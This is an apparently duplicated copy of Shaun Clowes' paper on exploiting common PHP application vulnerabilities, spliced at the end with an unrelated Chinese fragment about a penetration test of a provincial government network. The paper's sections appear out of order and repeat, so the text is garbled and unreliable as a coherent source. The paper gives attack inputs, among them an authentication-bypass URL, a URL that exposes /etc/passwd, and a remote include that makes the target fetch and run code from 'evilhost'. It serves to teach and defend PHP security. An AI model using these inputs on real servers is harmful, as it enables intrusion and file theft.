any session id they wish (e.g 'hello') and have a session file created with
that id (for the example '/tmp/sess_hello'). The id can only contain
alphanumeric characters but this might well be useful in some situations.
"It is a mistake to confound strangeness with mystery" - Sherlock Holmes
--- < 8. Loose Typing And Associative Arrays > -----------------------------
Just a quick note about these factors.
PHP is a loosely typed language, that is, a variable has different values
depending on the context in which it is being evaluated. For example, the
variable $hello set to the empty string "" when evaluated as a number has
the value 0. This can sometimes lead to non intuitive results (a factor that
was important in the exploitation of phpMyAdmin in SRADV00008). If $hello is
set to "000" it is NOT equal to "0" nor will the function empty() return
true.
PHP arrays are associative, that is, the index to the array is a STRING and
can be set to any string value, it is not numerically evaluated. This means
that the array entry $hello["000"] is NOT the same as the array entry
$hello[0].
Applications need to be careful to validate user input with thought to the
above factors and to do so consistently. I.e don't test is something is
equal to 0 in one place and then validate it using empty() somewhere else.
"We want something more than mere preaching now" - Mr. Gregson
--- < 9. Target Functions > ------------------------------------------------
When looking for holes in PHP applications (when you have the source code)
it's useful to have a list of functions that are frequently misused or are
good targets if they happen to be used in a vulnerable manner in the target
application. If a remote user can affect the parameters to these functions
exploitation is often possible. The following is a non exhaustive breakdown.
PHP Code Execution:
require() and include() - Both these functions read a specified file and
interpret the contents as PHP code
eval() - Interprets a given string as PHP code
preg_replace() - When used with the /e modifier this function interprets the
replacement string as PHP code
Command Execution:
exec() - Executes a specified command and returns the last line of the
programs output
passthru() - Executes a specified command and returns all of the output
directly to the remote browser
`` (backticks) - Executes the specified command and returns all the output
in an array
system() - Much the same as passthru() but doesn't handle binary data
popen() - Executes a specified command and connects its output or input
stream to a PHP file descriptor
File Disclosure:
fopen() - Opens a file and associates it with a PHP file descriptor
readfile() - Reads a file and writes its contents directly to the remote
browser
file() - Reads an entire file into an array
"There is mystery about this which stimulates the imagination; where there
is no imagination there is no horror" - Sherlock Holmes
--- < 10. Protecting PHP
> --------------------------------------------------
All of the attacks I've described above work perfectly on a default
installation of PHP 4. However as I've mentioned numerous times PHP is
endlessly configurable and many of these attacks can be defeated using those
configuration options. There is always a price for security though, so I've
classified the following configuration options according to their
painfulness:
* = Mostly painless
** = Vaguely painful
*** = Seriously hurts
**** = Chinese Water Torture
Obviously my ratings are subjective so don't flame me for them. I will say
one thing though, if you use all of the options you'll have a very secure
PHP installation, even third party code will be reliably secure, it's just
that most of it won't work :)
**** - Set register_globals off
This option will stop PHP creating global variables for user input. That is,
if a user submits the form variable 'hello' PHP won't set $hello, only
HTTP_GET/POST_VARS['hello']. This is the mother of all other options and is
best single option for PHP security, it will also kill basically every third
party application available and makes programming PHP a whole lot less
convenient.
*** - Set safe_mode on
I'd love to describe exactly what safe_mode does but it isn't documented
completely. It introduces a large variety of restrictions including:
- The ability to restrict which commands can be executed (by exec() etc)
- The ability to restrict which functions can be used
- Restricts file access based on ownership of script and target file
- Kills file upload completely
This is a great option for ISP environments (for which it is designed) but
it can also greatly improve the security of normal PHP environments given
proper configuration. It can also be a complete pain in the neck.
** - Set open_basedir
This option prevents any file operations on files outside specified
directories. This can effectively kill a variety of local include() and
remote file attacks. Caution is still required in regards to file upload and
session files.
** - Set display_errors off, log_errors on
This prevents PHP error messages being displayed in the returned web page.
This can effectively limit an attackers exploration of the function of the
script they are attacking. It can also make debugging very frustrating.
* - Set allow_url_fopen off
This stops remote files functionality. Very few sites really need this
functionality, I absolutely recommend every site set this option.
There may well be other great options I'm missing, please consult the PHP
documentation
"Our ideas must be as broad as nature if we are to interpret nature" -
Sherlock Holmes
--- < 11. Responsibility - Language Vs Programmer
> -------------------------
I contend that it is very hard to write a secure PHP application (in the
default configuration of PHP), even if you try. It's not that PHP is a bad
language, it's amazingly easy to program in and has more builtin features
than any other language I know. However PHP has such emphasis on rapid
development and feature richness that two things happen:
- Web designers and other non coders end up writing PHP applications. They
have no understanding whatsoever of the security implications of the code
they are writing. Partly this is because the mindset isn't what it should
be. A PHP application typically runs in the most exposed environment
possible, a universally accessible page on a web server. This means the
mindset should be of coding a network daemon that will be routinely
attacked, or of a setuid root application. Instead the mindset is
functionality at all costs like it would be while writing an unprivileged
local application. If your web server is penetrated it provides a gateway to
the third tier, it is always a bad thing, even if the access is as nobody
(as penetrating a PHP application will typically provide).
- Code behaviour becomes unpredictable. An include() statement that
postfixes a user variable with "image.php" would normally be perfectly safe,
the user can only specify which directory to retrieve that file from (and
presumably cannot create a file image.php on the remote machine). When
remote files functionality is allowed it becomes a nightmare. This is
completely non intuitive.
A lot of people blame programmer's for the code they write, I personally
feel that if a language makes it hard for a programmer to write good code
(particularly by being counterintuitive) the language must itself take some
of the blame for the situation. It's not good enough to just say the
programmer should know better. In almost every PHP application I've audited
the programmer's have _tried_ to get it right and only been let down by
their understanding of the intricacies of PHP. In its search for the
ultimate functionality PHP has undermined the programmer's ability to
understand the workings of their code in all situations.
"I have all the facts in my journal, and the public shall know them" - John
Watson
--- < 12. Other
> -----------------------------------------------------------
This is just a section for various other resources.
At a time when I thought no-one else was interested in PHP security, a few
great posts/advisories/papers have popped up:
- Rain Forest Puppy
RFP 2101 - "RFPlutonium to fuel your PHP-Nuke"
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2
- Jo� Gouveia
Many posts to Bugtraq, check them all out, but as a selection
http://www.securityfocus.com/templates/archive.pike?list=1&mid=165519
http://www.securityfocus.com/templates/archive.pike?list=1&mid=147104
- Jouko Pynnonen
http://www.securityfocus.com/templates/archive.pike?list=1&mid=169045
There are many others, sorry I didn't list them all.
SecureReality have released a number of advisories regarding PHP
applications which should serve to illustrate the problems I've outlined in
this paper fairly well:
- SRADV00001 - Arbitrary File Disclosure through PHP File Upload
http://www.securereality.com.au/sradv00001.html
- SRADV00003 - Arbitrary File Disclosure through IMP
http://www.securereality.com.au/sradv00003.html
- SRADV00006 - Remote command execution vulnerabilities in phpGroupWare
http://www.securereality.com.au/sradv00006.html
- SRADV00008 - Remote command execution vulnerabilities in phpMyAdmin and
phpPgAdmin
http://www.securereality.com.au/sradv00008.txt
- SRADV00009 - Remote command execution vulnerabilities in phpSecurePages
http://www.securereality.com.au/sradv00009.txt
- SRADV00010 - Remote command execution vulnerabilities in SquirrelMail
http://www.securereality.com.au/sradv00010.txt
- SRADV00011 - Remote command execution vulnerabilities in WebCalendar
http://www.securereality.com.au/sradv00011.txt
The last four were presented during my speech at the BlackHat Briefings in
Singapore and Asia in 2001. Audio/Video of the speech will (at some stage)
be available at http://www.blackhat.com. For anyone interested in security,
I can't suggest more strongly that you go to the briefings.
Finally, incase anyone wondered where the title came from and all those
quotes at the end of each section, they're from the short story "A Study In
Scarlet" by Sir Arthur Conan Doyle which was also the first story in which
the character Sherlock Holmes appeared.
"I must thank you for it all. I might not have gone but for you, and so have
missed the finest study I ever came across: a study in scarlet eh?" -
Sherlock Holmes
http://www.securereality.com.au/studyinscarlet.txt
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
A Study In Scarlet
Exploiting Common Vulnerabilities in PHP Applications
Shaun Clowes
SecureReality
"A reprint of reminisces from the Blackhat Briefings Asia 2001"
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
--- < Table of Contents > --------------------------------------------------
1. Introduction
2. Caveats and Scope
3. Global Variables
4. Remote Files
5. File Upload
6. Library Files
7. Session Files
8. Loose Typing And Associative Arrays
9. Target Functions
10. Protecting PHP
11. Responsibility - Language vs Programmer
12. Other
"I could imagine his giving a friend a little pinch of the latest vegetable
alkaloid, not out of malevolence, you understand, but simply out of a spirit
of inquiry in order to have an accurate idea of the effects." - Stamford
--- < 1. Introduction > ----------------------------------------------------
This paper is based on my speech during the Blackhat briefings in Singapore
and Hong Kong in April 2001. The speech was entitled "Breaking In Through
the Front Door - The impact of Web Applications and Application Service
Provision on Traditional Security Models". It initially discussed the trend
towards Web Applications (and ASP) and the holes in traditional security
methodology exposed by this trend. However, that's a long and boring
discussion so I'll save it for the policy makers.
The rest of the speech was spent talking about PHP. For those reading this
paper who don't know what PHP is, PHP stands for "PHP Hypertext
Preprocessor". It's a programming language (designed specifically for the
Web) in which PHP code is embedded in web pages. When a client requests a
page, the Web Server first passes the page to the language interpreter so
the code can be executed, the resulting page is then returned to the client.
Obviously this approach is much more suited to the page by page nature of
web transactions than traditional CGI languages such as Perl and C. PHP (and
to some extent other Web Languages) has the following characteristics:
+ Interpreted
+ Fast Execution - The interpreter is embedded in the web server, no fork()
or setup overhead
+ Feature Rich - Hundreds of non trivial builtin functions
+ Simple Syntax - Non declared and loosely typed variables, 'wordy'
function names
Over the course of this paper I'm going to try to explain why I feel the
last two characteristics make applications written in PHP easy to attack and
hard to defend. Then I'll finish off with a rant about distribution of
'blame' when it comes to software security.
"You must study him, then ... you'll find him a knotty problem, though. I'll
wager he learns more about you than you about him." - Stamford
--- < 2. Caveats and Scope > -----------------------------------------------
Almost all the observations in this paper refer to a default install of PHP
4.0.4pl1 (with MySQL, PostgreSQL, IMAP and OpenSSL support enabled) running
as a module under Apache 1.3.19 on a Linux machine. This of course means
that your mileage may vary, in particular, there have been many many
versions of PHP and they sometimes exhibit vastly different behaviour given
the same input.
Also, proponents of PHP tend to defend the language based on its extreme
configurability. I feel very confident the vast majority of users will not
modify the default PHP configuration at all, lest some of the amazing array
of freely available PHP software stop working. Thus I don't feel pressured
to defend my position based on configuration options, nonetheless I've
included a section about how to go defending PHP applications using these
configuration options.
Finally, some people deride this kind of work as 'trivial' or 'obvious',
particularly since I won't be discussing any specific vulnerabilities in
particular pieces of PHP software. To prove the risks are real and that even
programmer's that try hard fall into these traps 4 detailed advisories in
regards to specific pieces of vulnerable software will be released shortly
after this paper.
"I have to be careful ... for I dabble with poisons a good deal." - Sherlock
Holmes
--- < 3. Global Variables > ------------------------------------------------
As mentioned earlier, variables in PHP don't have to be declared, they're
automatically created the first time they are used. Nor are they
specifically typed, they're typed automatically based on the context in
which they are used. This is an extremely convenient way to do things from a
programmer's perspective (and is obviously a useful feature in a rapid
application development language). Once a variable is created it can be
referenced anywhere in the program (except in functions where it must be
explicitly included in the namespace with the 'global' function). The result
of these characteristics is that variables are rarely initialized by the
programmer, after all, when they're first created they are empty (i.e "").
Obviously the main function of a PHP based web application is usually to
take in some client input (form variables, uploaded files, cookies etc),
process the input and return output based on that input. In order to make it
as simple as possible for the PHP script to access this input, it's actually
provided in the form of PHP global variables. Take the following example
HTML snippet:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
Obviously this will display a text box and a submit button. When the user
presses the submit button the PHP script test.php will be run to process the
input. When it runs the variable $hello will contain the text the user
entered into the text box. It's important to note the implications of this,
this means that a remote attacker can create any variable they wish and have
it declared in the global namespace. If instead of using the form above to
call test.php, an attacker calls it directly with a url like
"http://server/test.php?hello=hi&setup=no", not only will $hello = "hi" when
the script is run but $setup will be "no" also.
An example of how this can be a real problem might be a script that was
designed to authenticate a user before displaying some important
information. For example:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
In normal operation the above code will check the password to decide if the
remote user has successfully authenticated then later check if they are
authenticated and show them the important information. The problem is that
the code incorrectly assumes that the variable $auth will be empty unless it
sets it. Remembering that an attacker can create variables in the global
namespace, a url like 'http://server/test.php?auth=1' will fail the password
check but the script will still believe the attacker has successfully
authenticated.
To summarize the above, a PHP script _cannot trust ANY variable it has not
EXPLICITLY set_. When you've got a rather large number of variables, this
can be a much harder task than it may sound.
Once common approach to protecting a script is to check that the variable is
not in the array HTTP_GET/POST_VARS[] (depending on the method normally used
to submit the form, GET or POST). When PHP is configured with track_vars
enabled (as it is by default) variables submitted by the user are available
both from the global variables and also as elements in the arrays mentioned
above. However, it's important to note that there are FOUR different arrays
for remote user input, HTTP_GET_VARS for variables submitted in the URL of
the get request, HTTP_POST_VARS for variables submitted in the post section
of a HTTP request, HTTP_COOKIE_VARS for variables submitted as part of the
cookie headers in the HTTP request and to a limited degree the
HTTP_POST_FILES array (in more recent versions of PHP). It is completely the
end users choice which method they use to submit variables, one request can
easily place variables in all four different arrays, a secure script needs
to check all four (though again, the HTTP_POST_FILES array shouldn't be an
issue except in exceptional circumstances).
"No man burdens his mind with small matters unless he has some very good
reason for doing so." - John Watson
--- < 4. Remote Files > ----------------------------------------------------
I'm going to repeat this frequently during this document but it bears
repeating, PHP is an extremely feature rich language. It ships with an
amazing amount of functionality out of the box and tries hard to make life
as easy as possible for the coder (or web designer as the case so often is).
From a security perspective, the more superfluous functionality offered by a
language and the less intuitive the possibilities, the more difficult it is
to secure applications written in it. An excellent example of this is the
Remote Files functionality of PHP.
The following piece of PHP code is designed to open a file:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
The code attempts to open the file specified in the variable $filename for
reading and if it fails displays an error. Obviously this could be a simple
security issue if the user can set $filename and get the script to expose
/etc/passwd for example but one non intuitive this code could end up doing
is reading data from another web/ftp site. The remote files functionality
means that the majority of PHPs file handling functions can work
transparently on remote files via HTTP and FTP. If $filename were to contain
(for example)
"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" PHP will
actually make a HTTP request to the server "target", in this case trying to
exploit the unicode flaw.
This gets more interesting in the context of four other file functions that
support remote file functionality (*** except under Windows ***), include(),
require(), include_once() and require_once(). These functions take in a
filename and read that file and parse it as PHP code. They're typically used
to support the concept of code libraries, where common bits of PHP code are
stored in files and included as needed. Now take the following piece of
code:
<?php
include($libdir . "/languages.php");
?>
Presumably $libdir is a configuration variable that is meant to be set
earlier in script execution to the directory where the library files are
stored. If the attacker can cause the variable not to be set the script
(which is typically not a tremendously difficult task) and instead submit it
themselves they can modify the start of the path. This would normally gain
them nothing since they still end up only being able to access languages.php
in a directory of their choosing (poison null attacks like those possible on
Perl don't work under PHP) but with remote files the attack can submit any
code they wish to be executed. For example, if the attacker places a file on
a web server called languages.php containing the following:
<?php
passthru("/bin/ls /etc");
?>
then sets $libdir to "http://<evilhost>/" upon encountering the include
statement PHP will make a HTTP request to evilhost, retrieve the attackers
code and execute it, returning a listing of /etc to the attackers web
browser. Note that the attacking webserver (evilhost) can't be running PHP
or the code will be run on the attacking machine rather than the target
machine (see the "Other" section and its reference to SRADV00006 for an
example of code which survives being on a PHP enabled attacking machine).
"There are no crimes and no criminals in these days" - Sherlock Holmes
--- < 5. File Upload > -----------------------------------------------------
As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based file
upload. Take the following form:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
This form will allow the web browser user to select a file from their local
machine then when they click submit the file will be uploaded to the remote
web server. This is obviously useful functionality but is PHPs response that
makes this dangerous. When PHP first receives the request, before it has
even BEGUN to parse the PHP script being called it will automatically
receive the file from the remote user, it will then check that the file is
no larger than specified in the $MAX_FILE_SIZE variable (10 kb in this case)
and the maximum file size set in the PHP configuration file, if it passes
these tests the file is SAVED on the local disk in a temporary directory.
Please read that again if that doesn't make you blink, a remote user can
send any file they wish to a PHP enabled machine and before a script has
even specified whether or not it accepts file uploads that file is SAVED on
the local disk.
I'm going to ignore any resource exhaustion attacks that may or may not be
possible using file upload functionality, I think they're fairly limited if
not impossible in any case.
First let's consider a script that IS designed to receive file uploads. As
described above the file is received and saved on the local disk (in the
location specified in the configuration for uploaded files, typically /tmp)
with a random filename (e.g "phpxXuoXG"). The PHP script then needs
information regarding the uploaded file to be able to process it. This is
actually provided in two different ways, one has been in use since early
versions of PHP 3, the other was introduced following our Advisory regarding
the issue I'm about to describe with the former method. Suffice to say the
problem is still alive and well, most scripts continue to use the old
method. PHP sets four global variables to describe the uploaded file, for
example (given the upload form above):
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
The PHP script then proceeds to work on the file as located via the $hello
variable. The problem is that it isn't immediately obvious that $hello need
not really be a PHP set variable and can simply be set by a remote attacker.
Take the following form input for example:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt
That results in the following global PHP variables (of course POST could be
used (even cookies)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
This form input will provide exactly the variables the PHP scripts expects
to be set by PHP, but instead of working on an uploaded file the script will
infact be working on /etc/passwd (usually resulting in its content being
exposed). This attack can be used to expose the contents of all sorts of
sensitive files (in particular configuration files containing database and
other third tier server credentials).
I noted above that newer versions of PHP provide different methods for
determining the uploaded files (it's done via the HTTP_POST_FILES[] array
mentioned earlier). It also provides numerous functions to avoid this
problem, for example a function to determine if a particular file is
actually one that has been uploaded. These methods well and truly fix the
problem but there is certainly no shortage of scripts out there still using
the old method and still vulnerable to this sort of attack.
As an alternate attack assisted by file upload consider the following
example PHP code:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no
remote files)
include("$theme");
?>
If the attacker can control $theme they can obviously use this to read any
file on the remote system (except that content inside PHP tags e.g "<?" will
be removed and interpreted probably crashing immediately). While this is a
problem the attackers ultimate goal is obviously to be able to execute
commands on the remote web server and they can't achieve that by getting the
include statement to work on remote files as discussed earlier. They
therefore need to get PHP code they define into a file local to the remote
machine. This sounds like an impossible task initially but file upload comes
to the rescue. If the attacker creates a file on their machine containing
PHP code to be executed (for example the passthru code shown earlier) then
creates a form which contains a file field called "theme" and uses this form
to submit the file to the script via file upload, PHP will be kind enough to
save the file and set $theme to the location of the attackers file on the
local machine. The file_exists() check will then succeed and the code will
be run.
Given command execution ability on the remote webserver the attacker will
obviously wish to attempt privilege escalation attacks or attacks on the
third tier servers, both of which will probably require a toolset not
present on the webserver. The file upload functionality once again makes
this a non issue, the attacker can simply upload the attack tools, have them
saved by PHP then use their code execution ability to chmod() the file and
execute it. For example, they could trivially upload a local root exploit
(through the firewall and past the IDS) and execute it.
"It was easier to know it than to explain why I knew it. If you were asked
to prove that two and two made four, you might find some difficulty, and yet
you are quite sure of the fact" - Sherlock Holmes
--- < 6. Library Files > ---------------------------------------------------
I've mentioned the include() and require() functions earlier, I also said
that they're generally used to support the concept of code libraries. What I
mean by that is that common bits of code are put into a separate file and
when needed in the application simply include()ed from the file. include()
and require() will take any specified filename and read the file and parse
its contents as PHP code.
Initially when people started developing and distributing PHP applications
they chose to distinguish library and main application code by giving
library files the '.inc' extension. However they quickly found this was a
bad move in general since such files aren't normally parsed as PHP code by
the PHP interpreter. If requested from the web server they will generally
have the full source code returned. This is because the PHP interpreter
(when used as an apache module) determines which files to parse for PHP code
based on the file's extension, the extensions to be interpreted can be
chosen by the administrator but usually a combination of the extensions
'.php', '.php4' and '.php3' is chosen. This is a real problem when sensitive
configuration data (e.g database credentials) is placed in PHP files that
don't have an appropriate extension since a remote attacker can easily get
the source.
The simplest solution (and the one that has since become favored) is simply
to give EVERY file a PHP parsed extension. This prevents a request to the
web server ever returning the raw source for a file that contains PHP code.
The problem here is that though the source will no longer be returned, by
requesting the file a remote attacker can have the code that is meant to be
used in a framework of other code executed out of context. This can lead to
all of the attacks I've described earlier.
An obvious example might be the following:
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>
When libdir/loadlanguage.php is called in the defined context of main.php it
is perfectly safe. But because libdir/loadlanguage has the extension .php
(it doesn't have to have that extension, include() works on any file) it can
be requested and executed by a remote attacker. When out of context an
attacker can set $langDir and $userLang to whatever they wish.
"You know a conjuror gets no credit when once he has explained his trick and
if I show you too much of my method of working, you will come to the
conclusion that I am a very ordinary individual after all" - Sherlock Holmes
--- < 7. Session Files > ---------------------------------------------------
Later versions of PHP (4 and above) provide built-in support for 'sessions'.
Their basic purpose is to be able to save state information from page to
page in a PHP application. For example, when a user logs in to a web site,
the fact that they are logged in (and who they are logged in) could be saved
in the session. When they move around the site this information will be
available to all other PHP pages. What actually happens is that when a
session is started (it's typically set in the configuration file to be
automatically started on first request) a random session id is generated,
the session persists as long as the remote browser always submits this
session id with requests. This is most easily achieved with a cookie but can
also be done by achieved by putting a form variable (containing the session
id) on every page. The session is a variable store, a PHP application can
choose to register a particular variable with the session, its value is then
stored in a session file at the end of every PHP script and loaded into the
variable at the start of every script. A trivial example is as follows:
<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session
variable
?>
Any later PHP scripts will automatically have the variable $session_auth set
to "shaun", if they modify it later scripts will receive the modified value.
This is obviously a very handy facility to have in a stateless environment
like the web but caution is also necessary.
One obvious problem is with insuring that variables actually come from the
session. For example, given the above code, if a later script does the
following:
<?php
if (!empty($session_auth))
// Grant access to site here
?>
This code makes the assumption that if $session_auth is set, it must have
come from the session and not from remote input. If an attacker specified
$session_auth in form input they can gain access to the site. Note that the
attacker must use this attack before the variable is registered with the
session, once a variable is in a session it will override any form input.
Session data is saved in a file (in a configurable location, usually /tmp)
named 'sess_<session id>'. This file contains the names of the variables in
the session, their loose type, value and other data. On multi host systems
this can be an issue since the files are saved as the user running the web
server (typically nobody), a malicious site owner can easily create a
session file granting themselves access on another site or even examine the
session files looking for sensitive information.
The session mechanism also supplies another convenient place that an
attacker have their input saved into a file on the remote machine. For
examples above where the attacker needed PHP code in a file on the remote
machine, if they cannot use file upload they can often use the application
and have a session variable set to a value of their choosing. They can then
guess the location of the session file, they know the filename 'php<session
id>' they just have to guess the directory, usually /tmp.
Finally an issue I haven't found a use for is that an attacker can specify
any session id they wish (e.g 'hello') and have a session file created with
that id (for the example '/tmp/sess_hello'). The id can only contain
alphanumeric characters but this might well be useful in some situations.
"It is a mistake to confound strangeness with mystery" - Sherlock Holmes
--- < 8. Loose Typing And Associative Arrays > -----------------------------
Just a quick note about these factors.
PHP is a loosely typed language, that is, a variable has different values
depending on the context in which it is being evaluated. For example, the
variable $hello set to the empty string "" when evaluated as a number has
the value 0. This can sometimes lead to non intuitive results (a factor that
was important in the exploitation of phpMyAdmin in SRADV00008). If $hello is
set to "000" it is NOT equal to "0" nor will the function empty() return
true.
PHP arrays are associative, that is, the index to the array is a STRING and
can be set to any string value, it is not numerically evaluated. This means
that the array entry $hello["000"] is NOT the same as the array entry
$hello[0].
Applications need to be careful to validate user input with thought to the
above factors and to do so consistently. I.e don't test is something is
equal to 0 in one place and then validate it using empty() somewhere else.
"We want something more than mere preaching now" - Mr. Gregson
--- < 9. Target Functions > ------------------------------------------------
When looking for holes in PHP applications (when you have the source code)
it's useful to have a list of functions that are frequently misused or are
good targets if they happen to be used in a vulnerable manner in the target
application. If a remote user can affect the parameters to these functions
exploitation is often possible. The following is a non exhaustive breakdown.
PHP Code Execution:
require() and include() - Both these functions read a specified file and
interpret the contents as PHP code
eval() - Interprets a given string as PHP code
preg_replace() - When used with the /e modifier this function interprets the
replacement string as PHP code
Command Execution:
exec() - Executes a specified command and returns the last line of the
programs output
passthru() - Executes a specified command and returns all of the output
directly to the remote browser
`` (backticks) - Executes the specified command and returns all the output
in an array
system() - Much the same as passthru() but doesn't handle binary data
popen() - Executes a specified command and connects its output or input
stream to a PHP file descriptor
File Disclosure:
fopen() - Opens a file and associates it with a PHP file descriptor
readfile() - Reads a file and writes its contents directly to the remote
browser
file() - Reads an entire file into an array
"There is mystery about this which stimulates the imagination; where there
is no imagination there is no horror" - Sherlock Holmes
--- < 10. Protecting PHP
> --------------------------------------------------
All of the attacks I've described above work perfectly on a default
installation of PHP 4. However as I've mentioned numerous times PHP is
endlessly configurable and many of these attacks can be defeated using those
configuration options. There is always a price for security though, so I've
classified the following configuration options according to their
painfulness:
* = Mostly painless
** = Vaguely painful
*** = Seriously hurts
**** = Chinese Water Torture
Obviously my ratings are subjective so don't flame me for them. I will say
one thing though, if you use all of the options you'll have a very secure
PHP installation, even third party code will be reliably secure, it's just
that most of it won't work :)
**** - Set register_globals off
This option will stop PHP creating global variables for user input. That is,
if a user submits the form variable 'hello' PHP won't set $hello, only
HTTP_GET/POST_VARS['hello']. This is the mother of all other options and is
best single option for PHP security, it will also kill basically every third
party application available and makes programming PHP a whole lot less
convenient.
*** - Set safe_mode on
I'd love to describe exactly what safe_mode does but it isn't documented
completely. It introduces a large variety of restrictions including:
- The ability to restrict which commands can be executed (by exec() etc)
- The ability to restrict which functions can be used
- Restricts file access based on ownership of script and target file
- Kills file upload completely
This is a great option for ISP environments (for which it is designed) but
it can also greatly improve the security of normal PHP environments given
proper configuration. It can also be a complete pain in the neck.
** - Set open_basedir
This option prevents any file operations on files outside specified
directories. This can effectively kill a variety of local include() and
remote file attacks. Caution is still required in regards to file upload and
session files.
** - Set display_errors off, log_errors on
This prevents PHP error messages being displayed in the returned web page.
This can effectively limit an attackers exploration of the function of the
script they are attacking. It can also make debugging very frustrating.
* - Set allow_url_fopen off
This stops remote files functionality. Very few sites really need this
functionality, I absolutely recommend every site set this option.
There may well be other great options I'm missing, please consult the PHP
documentation
"Our ideas must be as broad as nature if we are to interpret nature" -
Sherlock Holmes
--- < 11. Responsibility - Language Vs Programmer
> -------------------------
I contend that it is very hard to write a secure PHP application (in the
default configuration of PHP), even if you try. It's not that PHP is a bad
language, it's amazingly easy to program in and has more builtin features
than any other language I know. However PHP has such emphasis on rapid
development and feature richness that two things happen:
- Web designers and other non coders end up writing PHP applications. They
have no understanding whatsoever of the security implications of the code
they are writing. Partly this is because the mindset isn't what it should
be. A PHP application typically runs in the most exposed environment
possible, a universally accessible page on a web server. This means the
mindset should be of coding a network daemon that will be routinely
attacked, or of a setuid root application. Instead the mindset is
functionality at all costs like it would be while writing an unprivileged
local application. If your web server is penetrated it provides a gateway to
the third tier, it is always a bad thing, even if the access is as nobody
(as penetrating a PHP application will typically provide).
- Code behaviour becomes unpredictable. An include() statement that
postfixes a user variable with "image.php" would normally be perfectly safe,
the user can only specify which directory to retrieve that file from (and
presumably cannot create a file image.php on the remote machine). When
remote files functionality is allowed it becomes a nightmare. This is
completely non intuitive.
A lot of people blame programmer's for the code they write, I personally
feel that if a language makes it hard for a programmer to write good code
(particularly by being counterintuitive) the language must itself take some
of the blame for the situation. It's not good enough to just say the
programmer should know better. In almost every PHP application I've audited
the programmer's have _tried_ to get it right and only been let down by
their understanding of the intricacies of PHP. In its search for the
ultimate functionality PHP has undermined the programmer's ability to
understand the workings of their code in all situations.
"I have all the facts in my journal, and the public shall know them" - John
Watson
--- < 12. Other
> -----------------------------------------------------------
This is just a section for various other resources.
At a time when I thought no-one else was interested in PHP security, a few
great posts/advisories/papers have popped up:
- Rain Forest Puppy
RFP 2101 - "RFPlutonium to fuel your PHP-Nuke"
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2
- Jo� Gouveia
Many posts to Bugtraq, check them all out, but as a selection
http://www.securityfocus.com/templates/archive.pike?list=1&mid=165519
http://www.securityfocus.com/templates/archive.pike?list=1&mid=147104
- Jouko Pynnonen
http://www.securityfocus.com/templates/archive.pike?list=1&mid=169045
There are many others, sorry I didn't list them all.
SecureReality have released a number of advisories regarding PHP
applications which should serve to illustrate the problems I've outlined in
this paper fairly well:
- SRADV00001 - Arbitrary File Disclosure through PHP File Upload
http://www.securereality.com.au/sradv00001.html
- SRADV00003 - Arbitrary File Disclosure through IMP
http://www.securereality.com.au/sradv00003.html
- SRADV00006 - Remote command execution vulnerabilities in phpGroupWare
http://www.securereality.com.au/sradv00006.html
- SRADV00008 - Remote command execution vulnerabilities in phpMyAdmin and
phpPgAdmin
http://www.securereality.com.au/sradv00008.txt
- SRADV00009 - Remote command execution vulnerabilities in phpSecurePages
http://www.securereality.com.au/sradv00009.txt
- SRADV00010 - Remote command execution vulnerabilities in SquirrelMail
http://www.securereality.com.au/sradv00010.txt
- SRADV00011 - Remote command execution vulnerabilities in WebCalendar
http://www.securereality.com.au/sradv00011.txt
The last four were presented during my speech at the BlackHat Briefings in
Singapore and Asia in 2001. Audio/Video of the speech will (at some stage)
be available at http://www.blackhat.com. For anyone interested in security,
I can't suggest more strongly that you go to the briefings.
Finally, incase anyone wondered where the title came from and all those
quotes at the end of each section, they're from the short story "A Study In
Scarlet" by Sir Arthur Conan Doyle which was also the first story in which
the character Sherlock Holmes appeared.
"I must thank you for it all. I might not have gone but for you, and so have
missed the finest study I ever came across: a study in scarlet eh?" -
Sherlock Holmes
http://www.securereality.com.au/studyinscarlet.txt
远程安全风险评估，或者是结合性的渗透攻击测试
最近给朋友帮忙，测试某省政府网络（资产规模非常庞大）的安全性。他们去年已经做过安全项目，拉了国内2家著名的安全厂家，进行了一年时间的安全整改，前期也做了多次渗透测试，没有较大问题了。
虽然我的专长在于安全防护，保护系统和网络，保护方面还有一手，但在攻击方面，这么大年纪了，好长时间没做了，还真有些发怵。
